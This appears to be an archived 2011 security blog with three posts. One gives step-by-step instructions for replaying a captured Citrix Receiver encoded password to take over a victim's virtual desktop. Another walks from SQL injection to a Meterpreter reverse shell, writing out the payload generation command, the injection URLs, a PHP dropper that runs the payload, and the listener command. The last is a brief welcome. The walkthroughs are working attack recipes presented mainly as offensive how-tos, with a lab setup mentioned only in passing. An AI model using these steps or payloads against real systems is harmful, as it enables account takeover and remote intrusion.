Thursday, December 1, 2011

Citrix Receiver, XenDesktop "Pass-the-hash" Attack


I was performing some tests recently against a Citrix XenDesktop implementation and came across this.  This was tested against Citrix XenDesktop, XenServer, Receiver 5.6 SP2. This could affect other versions as well.

The Citrix Receiver application connects to a Citrix Web Interface to provide a virtual desktop to a user. The authentication between the Receiver and the Web Interface is done in an XML call over HTTP.  By default, the authentication is not configured to use SSL. I would venture to guess that many businesses would not configure SSL on an internal implementation, but thats a conversation for another time.

The Receiver app sends a POST request to enum.aspx and launch.aspx which contains the username and an encoded password amongst other information.  Now, instead of trying to crack the encoded password, an attacker can just use it just as if they had the actual password.  If an attacker can capture the authentication transaction traffic, an attacker can "pass-the-hash" with the captured username and encoded password and gain access to the account and any virtual applications and desktops as that user.

To perform the attack:
  1. Capture the victims authentication traffic when they login with the Receiver app.
  2. Extract the username and encoded password from the POST request to enum.aspx (shown below).

    POST /Citrix/XDPNAgent/enum.aspx HTTP/1.1 
    Content-Type: application/x-www-form-urlencoded 
    User-Agent: C:\PROGRA~1\Citrix\ICACLI~1\PNAMain.exe 
    Host: xxx.xxx.xxx.xxx 
    Content-Length: 705 
    Connection: Keep-Alive 
    Cache-Control: no-cache 

    <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE NFuseProtocol SYSTEM "NFuse.dtd"><NFuseProtocol version="4.6"><RequestAppData><Scope traverse="onelevel" type="PNFolder">$PRELAUNCH$</Scope><DesiredDetails>permissions</DesiredDetails><DesiredDetails>icon-info</DesiredDetails><DesiredDetails>all</DesiredDetails><ServerType>x</ServerType><ServerType>win32</ServerType><ClientType>ica30</ClientType><ClientType>content</ClientType><Credentials><UserName>domain\myuser</UserName><Password encoding="ctx1">ENCODEDPASSWORDHERE</Password><Domain type="NT"></Domain></Credentials><ClientName>COMPUTER01</ClientName><ClientAddress>xxx.xxx.xxx.xxx</ClientAddress></RequestAppData></NFuseProtocol>

  3. Launch a local proxy tool such as Burp and go into Internet Explorer and configure it to proxy through Burp.  This is usually your loopback address, 127.0.0.1 port 8080.
  4. Open the Receiver app and log in with the username and a blank password.
  5. Burp will then intercept the POST request that looks like above.
  6. Copy the captured encoded password and paste it into the "Password" XML field and then forward the request on.  There will be several of these requests that you will have to do it for.
  7. Voila! Now you are logged into the Receiver app as the victim. Now you can launch whatever virtual desktop is associated to that user.
  8. Here is a little tricky part. When you launch the virtual desktop, it will again send a similar authentication request where you will paste the encoded password into, but you CANNOT leave the connection running through the local proxy or the virtual desktop will not launch.
  9. Open Internet Explorer and prep the configuration to not use any proxy, but don't click OK yet.
  10. Click on a virtual desktop through the Receiver to launch it.
  11. Burp will then intercept the authentication request to launch.aspx. Paste the encoded password into the "Password" XML field again.
  12. After you forward the request in Burp, IMMEDIATELY switch over to Internet Explorer and apply the proxy settings so that it does not use a proxy anymore. 
  13. If you did it quick enough, the virtual desktop will launch and you will be logged in as the victim and have complete access to their account, desktop, files, etc...

Tuesday, June 21, 2011

Going from SQL Injection to Reverse Shell Walkthrough

So much for trying to start blogging... I started this blog a few months ago and totally forgot about it... hah! Well, here is the first real post! Enjoy!

Anyway, I was trying to look on the interwebz for a good walkthrough on getting a reverse shell from a SQLi vulnerability on a LAMP system and couldn't find one (unless my google-fu sucks) so here is one that I have put together.  This is assuming a fairly standard/secure configuration where both MySQL and Apache are not running as root and have little privileges and that your MySQL user has write privs to your www directory.
  1. First you need to find your SQL injection vulnerability. :)
  2. Next, we need to generate our payload.  We will use msfpayload for this and base64 encode it twice to ensure that we don't have any bad chars when we send it to the remote server. Change the LHOST option to match your local IP.  You can also specify a specific port with LPORT=<port>.
    1. # msfpayload linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.20 X | base64 | base64
    2. You will then get your base64 encoded string. Copy it.
  3. We now need to send it to our remote server through the SQL injection vulnerability.  Best place to create the file is in the /tmp directory on the remote server as any account has access to it.
    1. http://www.bad.site/vulnpage.php?id=-1 UNION SELECT “ZjBWTVJnRUJBUUFBQUFBQUFBQUFBQUlBQXdBQkFBQUFWSUFFQ0RRQUFBQUFBQUFBQUFBQUFEUUFJQUFCQUFBQUFBQUFBQUVBQUFBQQpBQUFBQUlBRUNBQ0FCQWk0QUFBQXVBQUFBQWNBQUFBQUVBQUFNZHRUUTFOcUFtcG1XSW5oellDWFcyakFxQUVVWm1nUlhHWlRpZUZxClpsaFFVVmVKNFVQTmdGdVp0Z3l3QTgyQS8rRT0K" INTO OUTFILE '/tmp/mettemp'
  4. Next we need to create a PHP page to base64 decode the payload and create a new file that the apache user can execute.  This page will read the file with the base64 encoded string that we create earlier, base64 decode it, create a new file in the /tmp directory, chmod the file so its executable, then execute the file.
    1. http://www.bad.site/vulnpage.php?id=-1 UNION SELECT '<?php $myfile = "/tmp/mettemp"; $myfile2 = "/tmp/metexec"; $fh = fopen($myfile, "r"); $data = fread($fh, filesize($myfile)); fclose($fh); $fh2 = fopen($myfile2, "a"); fwrite($fh2, base64_decode(base64_decode($data))); fclose($fh2); system("chmod 777 " . $myfile2); system($myfile2); echo "pwned"; ?>' INTO OUTFILE '/var/www/html/rev_shell.php'
  5. On your local system, you need to then start your handler for the reverse shell.
    1. # msfcli exploit/multi/handler payload=linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.20 E
  6. Now all you need to do is browse to the rev_shell.php page that you created earlier and enjoy your reverse meterpreter shell.

You will only have the privs of the apache user, but then you can continue with privilege escalation for more fun.

If you want to test this out in a lab environment, you can use the Damn Vulnerable Web App (DVWA) in the Web Security Dojo VM and a BackTrack VM.

Wednesday, February 23, 2011

Welcome!

Welcome and thanks for visiting my blog! I've finally decided to start a blog, but we'll see how good I will be with updates. :)  Anyway, I hope you enjoy the show.